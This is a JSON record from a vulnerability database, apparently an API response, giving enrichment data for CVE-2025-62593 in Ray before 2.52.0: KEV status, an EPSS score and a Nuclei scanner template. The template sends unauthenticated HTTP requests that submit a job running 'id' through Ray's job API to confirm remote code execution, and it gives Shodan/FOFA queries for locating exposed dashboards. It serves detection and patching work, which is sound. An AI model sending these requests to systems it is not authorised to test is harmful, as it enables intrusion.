{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2025-62593/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2025-62593/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2025-62593/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2025-62593/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2025-62593/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2025-62593/enrichment"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2025-62593"
    },
    "vulnerability": {
      "href": "/api/v1/vulnerability/cve-2025-62593"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": true
    },
    "epss": {
      "epss": 0.6015,
      "kev": true,
      "percentile": 0.99136
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2025/CVE-2025-62593.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2025-62593\n\ninfo:\n  name: Ray < 2.52.0 - Remote Code Execution\n  author: Veraptos VaaS Alpha\n  severity: critical\n  description: |\n    Ray versions prior to 2.52.0 allow unauthenticated remote code execution via the job submission API at /api/jobs/. A weak User-Agent heuristic (rejecting Mozilla-prefixed headers) can be bypassed by non-browser clients, enabling arbitrary command execution when the dashboard is network-reachable.\n  impact: |\n    Unauthenticated attackers with network access to the Ray Dashboard can submit jobs that execute arbitrary commands on the host.\n  remediation: |\n    Upgrade Ray to version 2.52.0 or later and enable RAY_AUTH_MODE=token. Restrict dashboard access to trusted networks.\n  reference:\n    - https://github.com/ray-project/ray/security/advisories/GHSA-q279-jhrf-cc6v\n    - https://github.com/projectdiscovery/nuclei-templates/issues/16961\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-62593\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2025-62593\n    epss-score: 0.6015\n    epss-percentile: 0.99139\n    cwe-id: CWE-94\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: ray_project\n    product: ray\n    shodan-query:\n      - http.favicon.hash:463802404\n      - http.html:\"ray dashboard\"\n    fofa-query:\n      - icon_hash=463802404\n      - body=\"ray dashboard\"\n  tags: cve,cve2025,rce,ray,kev,vkev\n\nflow: http(1) && http(2)\n\nvariables:\n  jobid: \"1Job_{{rand_base(6)}}\"\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '<title>Ray Dashboard'\n          - '/css/main.388a904b.css'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /api/jobs/ HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"entrypoint\":\"id\",\"submission_id\":\"{{jobid}}\"}\n\n      - |\n        GET /api/jobs/{{jobid}}/logs?{{wait_for(3)}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - 'uid=\\d+'\n\n      - type: word\n        part: content_type\n        words:\n          - 'application/json'\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: regex\n        part: body\n        name: jobid\n        regex:\n          - 'uid=(\\d+)'\n# digest: 4a0a0047304502200e0b82a80c483d7cd263ec97fdc517f937245313dbe3d96bb87cb647b903dc49022100e1d04a3f6cfb2e91f3a254ed48f2740e77334756920dcde80356e48f7a305709:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2025-62593"
}